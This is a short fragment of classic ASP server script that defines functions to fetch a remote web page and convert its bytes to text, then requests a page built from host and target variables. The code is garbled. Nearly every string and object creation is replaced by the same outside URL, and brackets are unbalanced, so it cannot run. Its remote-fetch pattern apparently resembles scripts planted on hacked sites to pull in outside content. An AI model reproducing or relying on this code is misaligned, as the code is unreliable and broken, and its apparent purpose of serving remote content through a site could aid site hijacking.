<% Function getHTTPPage(URL) Set HTTPReq = "http://www4.cdtsjy.cn/") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = "http://www4.cdtsjy.cn/") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "http://www4.cdtsjy.cn/" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function host = "http://www4.cdtsjy.cn/" target = "http://www4.cdtsjy.cn/") url = "http://www4.cdtsjy.cn/") htmls = getHTTPPage(url) htmls = "http://www4.cdtsjy.cn/"